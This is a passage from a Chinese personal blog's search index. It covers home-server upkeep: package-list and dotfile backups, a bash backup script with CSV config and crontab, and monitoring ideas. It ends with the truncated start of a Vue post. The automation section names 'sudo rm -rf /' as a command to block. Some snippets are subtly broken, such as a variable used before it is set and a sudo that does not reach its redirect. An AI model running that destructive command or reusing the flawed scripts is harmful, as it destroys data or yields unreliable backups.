title=\"程序\"\u003e\u003c/a\u003e程序\u003c/h4\u003e\u003cp\u003e大部分程序只是一份可以重新安装下载的数据文件,所以我们只需要备份它的程序列表即可。在迁移系统或者出现重大损失时,我们只需要拿到程序列表,然后用你最喜欢的包管理器批量安装这些程序即可。假设你使用\u003ccode\u003eapt\u003c/code\u003e作为包管理器:前者可以通过\u003ccode\u003edpkg --get-selections \u0026gt; backup.txt\u003c/code\u003e做到,后者可以通过\u003ccode\u003esudo apt-get update \u0026amp;\u0026amp; sudo apt-get install $(awk \u0026#39;{print $1}\u0026#39; backup.txt)\u003c/code\u003e做到。\u003c/p\u003e\u003cp\u003e当然,上面的实现只是最基础的。我们可以使用\u003ccode\u003eawk, git\u003c/code\u003e等工具把这件事做的更好。以上面两行脚本为基础原理,我们可以编写一个借助\u003ccode\u003egit\u003c/code\u003e进行备份记录的版本控制和备份,借助\u003ccode\u003eawk\u003c/code\u003e让备份的程序列表更加可读和强大,借助\u003ccode\u003ealias\u003c/code\u003e和\u003ccode\u003ebashrc\u003c/code\u003e为安装增加一个更新应用列表的hook,利用\u003ccode\u003ecrontab\u003c/code\u003e实现备份的无人值守和自动化,并且可以增加应用的版本信息以及特定版本安装等等。\u003c/p\u003e\u003cp\u003e甚至,对于不在apt的软件,也可以手动记录,甚至是直接保存ELF到备份仓库中。\u003c/p\u003e\u003cp\u003e借助这个工具,灾难恢复也会变得相对简单。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eTODO:后边实现这个脚本,先插个flag在这\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"配置\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"配置\"\u003e\u003c/a\u003e配置\u003c/h4\u003e\u003cp\u003eLinux下的大多数配置文件因为都以一个点(dot)开头,所以也叫dotfile。我总结的最佳实践应该是利用Git和Hard-Link去进行管理。比较麻烦的是dotfiles的恢复,这个工作也可以写一个脚本完成,自动根据记录的配置文件路径(存储于csv文件中)去自动创建硬链接来管理。这个方法基本没啥问题,就是容易遇到各种莫名其妙的失效问题,以及在termux里边由于没有root权限不能创建符号链接就很难受。\u003c/p\u003e\u003cp\u003e这里有篇文章,讲解的更加详细:\u003ca href=\"https://medium.com/@simontoth/best-way-to-manage-your-dotfiles-2c45bb280049\"\u003eBest way to manage your dotfiles\u003c/a\u003e,也比较接近我的观念。还有这篇也值得参考:\u003ca href=\"https://medium.com/@simontoth/best-way-to-manage-your-dotfiles-2c45bb280049\"\u003eBest way to manage your dotfiles\u003c/a\u003e\u003c/p\u003e\u003cp\u003e参考上面的思路,对dotfiles的管理可以帮你\u003cdel\u003e在你电脑炸了的时候\u003c/del\u003e快速重建你的环境配置,以及回溯以前的配置文件,又或者是同步你的环境到其他机器上。舒适度拉满.jpg\u003c/p\u003e\u003ch4 id=\"数据\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"数据\"\u003e\u003c/a\u003e数据\u003c/h4\u003e\u003cp\u003e这部分我做的最早。不过方案嘛,主打一个能用就行。\u003c/p\u003e\u003cp\u003e具体而言,首先在各个需要备份的目录下写一个\u003ccode\u003ebackup.sh\u003c/code\u003e来生成要备份的文件,比如这个:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eFNAME=\u003cspan class=\"string\"\u003e\u0026#34;[backup]mc-server-\u003cspan class=\"variable\"\u003e$NAME\u003c/span\u003e-\u003cspan class=\"subst\"\u003e$(date +%Y%m%d%H%M%S)\u003c/span\u003e.zip\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eNAME=\u003cspan class=\"string\"\u003e\u0026#34;my-server\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ezip -qr \u003cspan class=\"variable\"\u003e$FNAME\u003c/span\u003e \u003cspan class=\"variable\"\u003e$NAME\u003c/span\u003e/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$FNAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,必须输出生成的文件名称,后面有用。\u003c/p\u003e\u003cp\u003e然后随便找个地方写个脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 使用Bash实现的自动备份工具\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 注意,绝对不能备份当前目录,不然会产生无限递归\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBACKUP_DIR=$(\u003cspan class=\"built_in\"\u003edirname\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$0\u003c/span\u003e\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eset\u003c/span\u003e -e \u003cspan class=\"comment\"\u003e# 在出现错误时自动退出\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eset\u003c/span\u003e -u \u003cspan class=\"comment\"\u003e# 在使用未定义的变量时自动退出\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eset\u003c/span\u003e -o pipefail \u003cspan class=\"comment\"\u003e# 在管道中的任何一个命令出错时自动退出\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e IFS= \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e -r line; \u003cspan class=\"keyword\"\u003edo\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 循环处理每一个备份任务\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [[ -z \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e || \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e =~ ^\u003cspan class=\"comment\"\u003e# ]]; then # 不执行注释和空行\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003econtinue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 使用awk得到任务参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SOURCE=$(awk -F, \u003cspan class=\"string\"\u003e\u0026#39;{print $1}\u0026#39;\u003c/span\u003e \u0026lt;\u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e TARGET=$(awk -F, \u003cspan class=\"string\"\u003e\u0026#39;{print $2}\u0026#39;\u003c/span\u003e \u0026lt;\u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MAX=$(awk -F, \u003cspan class=\"string\"\u003e\u0026#39;{print $3}\u0026#39;\u003c/span\u003e \u0026lt;\u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e) \u003cspan class=\"comment\"\u003e# 最大保留备份数量\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;[\u003cspan class=\"subst\"\u003e$(date)\u003c/span\u003e] Backing up \u003cspan class=\"variable\"\u003e$SOURCE\u003c/span\u003e to \u003cspan class=\"variable\"\u003e$TARGET\u003c/span\u003e with max \u003cspan class=\"variable\"\u003e$MAX\u003c/span\u003e items\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$SOURCE\u003c/span\u003e\u0026#34;\u003c/span\u003e \u0026amp;\u0026amp; ./backup.sh | xargs \u003cspan class=\"built_in\"\u003emv\u003c/span\u003e -t \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$TARGET\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;[\u003cspan class=\"subst\"\u003e$(date)\u003c/span\u003e] Backup source \u003cspan class=\"variable\"\u003e$SOURCE\u003c/span\u003e completed\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$TARGET\u003c/span\u003e\u0026#34;\u003c/span\u003e \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003els\u003c/span\u003e -t | \u003cspan class=\"built_in\"\u003etail\u003c/span\u003e -n +$((MAX+\u003cspan class=\"number\"\u003e1\u003c/span\u003e)) | xargs \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -f\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edone\u003c/span\u003e \u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$BACKUP_DIR\u003c/span\u003e/config.csv\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 备份任务配置数据位于脚本所在目录\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注释比较详细就不细说了。接下来在同级目录下\u003ccode\u003etouch config.csv\u003c/code\u003e来保存备份条目信息,举个例子:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e# src,target,max-items\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/home/xeonds/mc-server,/mnt/c/backup/mc-server-backup/atelier-of-zimin,4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后把上面的脚本加入\u003ccode\u003ecrontab\u003c/code\u003e中定时运行:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e0 4 * * * output=$(/home/xeonds/backup/backup.sh); pushplus \u003cspan class=\"string\"\u003e\u0026#34;自动备份任务完成\u0026#34;\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$output\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的就是我正在用的的自动备份方案,\u003ccode\u003epushplus\u003c/code\u003e参考我写的Bash学习笔记。\u003c/p\u003e\u003cp\u003e总体就突出一个刚好能用。\u003c/p\u003e\u003cp\u003e另外我记得好像推荐\u003ccode\u003ersync\u003c/code\u003e做增量备份的来着,不过我的这些数据可能不太适合增量备份所以没用。如果是照片一类的文件,倒是很适合rsync来处理。回头可以抽空升级下这个脚本。\u003c/p\u003e\u003ch3 id=\"硬件安全\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E7%A1%AC%E4%BB%B6%E5%AE%89%E5%85%A8\" class=\"headerlink\" title=\"硬件安全\"\u003e\u003c/a\u003e硬件安全\u003c/h3\u003e\u003cp\u003e首当其冲就是硬盘安全。这方面可以用\u003ccode\u003esmartctl\u003c/code\u003e来定期监测SMART信息确认磁盘状态。我试了下,好像ESXi里边我映射的硬盘也支持检测SMART信息。这里也可以写个脚本定期监测并发送监测报告\u003cdel\u003e此处可本\u003c/del\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e天天脚本脚本,那么\u003cdel\u003e你们程序员移一定都是足控吧.jpg\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e其他的嘛……暂时莫得啥需求。\u003c/p\u003e\u003ch3 id=\"数据管理\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E6%95%B0%E6%8D%AE%E7%AE%A1%E7%90%86\" class=\"headerlink\" title=\"数据管理\"\u003e\u003c/a\u003e数据管理\u003c/h3\u003e\u003cp\u003e很喜欢Bash的一句话:\u003ccode\u003eman bash\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如何整理磁盘上的文件?问问\u003ccode\u003emv, cp, ls, rm, cat, grep, sed, awk, xargs\u003c/code\u003e;然后,用bash把它们拼起来就行。只要你想,你可以编写出任何脚本来整理你的所有文件。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eTODO:具体的脚本太多了,这里地方小,写不下(溜\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"自动运维\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E8%87%AA%E5%8A%A8%E8%BF%90%E7%BB%B4\" class=\"headerlink\" title=\"自动运维\"\u003e\u003c/a\u003e自动运维\u003c/h3\u003e\u003cp\u003e都Linux了不得写个脚本帮自己干活?而且还有其他好用的工具呢,首当其冲的还得是\u003ccode\u003esystemctl\u003c/code\u003e,\u003ccode\u003ecrontab\u003c/code\u003e,一个自动管理后台服务,一个自动运行任务,堪称运维两大法器。\u003ccode\u003esystemctl\u003c/code\u003e多用来自动启动和重启后台服务,\u003ccode\u003ecrontab\u003c/code\u003e作为一个定时器,基本跟时间相关的任务都能干,比如\u003cdel\u003e自动报时\u003c/del\u003e,定时清理,定时重启,定时更新,定时打卡,定时发送状态简报,定时发送邮件,\u003cdel\u003e定时煮饭\u003c/del\u003e等等你能想到想不到的。\u003c/p\u003e\u003cp\u003e另外,还有\u003ccode\u003ebash\u003c/code\u003e和\u003ccode\u003ealias\u003c/code\u003e,前者不光能跟你\u003cdel\u003e打\u003c/del\u003e交互,还能连接很多强大的工具;后者不光是个别名,还能帮你hook各种命令,给它们加点小功能。这部分建议多读读命令行的艺术,以及\u003ccode\u003eman bash\u003c/code\u003e的内容,更重要的是得多用。\u003c/p\u003e\u003cp\u003e我整完这些之后,感觉还是不太过瘾。毕竟这些功能全能点的面板估计也能做到,而且我也不可能到处因为一点小事就ssh到服务器上吧)\u003c/p\u003e\u003cp\u003e在接触了低代码表单的思想之后,我就又想造轮子了:搓个工具,借助低代码系统,写出自己的运维管理面板,最好是实现一个页面一个配置文件,改配置文件就更新对应页面和后面调用的命令的程度。\u003c/p\u003e\u003cp\u003e借助这个工具倒是可以实现很轻量,而且完全自由的服务器控制面板,而且无需依赖,可定制度拉满那种。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eTODO:这里也挖个坑立个flag\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e上面那段倒是偏离自动运维这个话题了。说回正题:除了上面提到的\u003ccode\u003esystemd\u003c/code\u003e和\u003ccode\u003ecrontab\u003c/code\u003e之外,还可以让系统监听一些事件,并做出即时响应。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里先放个UNIX哲学()\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e比如让系统读取某进程的日志输出,如果输出带有ERROR等字样,就发送警告给运维,或者执行其他的动作。,我们可以将触发的部分和执行的部分分离,让系统对不同的问题做出响应。比如收到了内存不足的警报,那就自动执行\u003ccode\u003esudo echo 3 \u0026gt; /proc/sys/vm/drop_caches\u003c/code\u003e来释放内存,还是过高的话就报警\u003cdel\u003e并随机kill一个幸运进程\u003c/del\u003e;比如有个\u003cdel\u003e若治\u003c/del\u003e同事又把你数据库炸了给你发邮件求助,那系统就直接roll back数据库;再比如监测到系统设备panic了,直接发送警报并紧急关机系统防止进一步损失;还可以接收UPS的断电信号,发送警报并迅速关机来避免更大的损失;有什么登录失败的/疑似端口爆破的,直接自动ban了它的IP;再比如系统流量激增,直接报警;再比如ban了\u003ccode\u003esudo rm -rf /\u003c/code\u003e这种敏感操作;甚至自动审核各种请求等等。只有想不到,没有做不到\u003cdel\u003e除了生孩子\u003c/del\u003e。\u003c/p\u003e\u003ch2 id=\"尾声\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E5%B0%BE%E5%A3%B0\" class=\"headerlink\" title=\"尾声\"\u003e\u003c/a\u003e尾声\u003c/h2\u003e\u003cp\u003e到这里,我的服务器就基本折腾好了。我现在拥有一个数据安全性相对较高的NAS,一个日常开发可用的自动化编译/部署服务,一个代码托管和备份系统,一个7x24可用的mc服务器,一个可用于数据科学/AI学习的在线算力,一个可以随时启动的,一个可以租借给他人的docker vm实例集群,甚至是一个会自己维护自己,会帮我处理各种浪费时间的重复任务,并且易于灾难恢复和迁移的系统,以及一个Linux新手应该具备的系统管理心得经验。\u003c/p\u003e\u003cp\u003e可以说,这些投入,物超所值。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/"},{"title":"Web开发日志-Vue篇","time":"2023-07-17T11:24:35Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Vue\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vue\" class=\"headerlink\" title=\"Vue\"\u003e\u003c/a\u003eVue\u003c/h2\u003e\u003ch3 id=\"关于Slot\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E5%85%B3%E4%BA%8ESlot\" class=\"headerlink\" title=\"关于Slot\"\u003e\u003c/a\u003e关于Slot\u003c/h3\u003e\u003cp\u003eSlot,即“插槽”,是Vue的一个很重要的功能。通过插槽,可以将其他的组件“插入”到当前组件的某个槽位。这个机制的优点,就是在保留了子组件的控制的同时,也给父组件保留了一定的内容控制权。比如elementUI,它的很多功能都提供了slot来让我们插入自定义的内容。\u003c/p\u003e\u003ch4 id=\"用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"用法\"\u003e\u003c/a\u003e用法\u003c/h4\u003e\u003cp\u003e它的用法很简单,分两部分。\u003c/p\u003e\u003col\u003e\u003cli\u003e组件\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;slot name=\u0026#34;component-a\u0026#34; :param1=\u0026#34;123\u0026#34;\u0026gt;\u0026lt;/slot\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e父组件\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;Component\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;template #component-a=\u0026#34;{ param_1 }\u0026#34;\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{{ param_1 }}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/Component\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面是完整示例,一个\u003cstrong\u003e具名\u003c/strong\u003e的\u003cstrong\u003e作用域\u003c/strong\u003e插槽。它将子组件的一个参数\u003ccode\u003eparam1\u003c/code\u003e通过解构赋值,回传到了父组件的形参\u003ccode\u003eparam_1\u003c/code\u003e中,并在其中渲染出了它的值。同时,父组件将这部分template中的内容传入了子组件中,和子组件的其他部分内容一同渲染。\u003c/p\u003e\u003ch2 id=\"Vue-router\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vue-router\" class=\"headerlink\" title=\"Vue-router\"\u003e\u003c/a\u003eVue-router\u003c/h2\u003e\u003ch3 id=\"历史模式的问题\"\u003e\u003ca 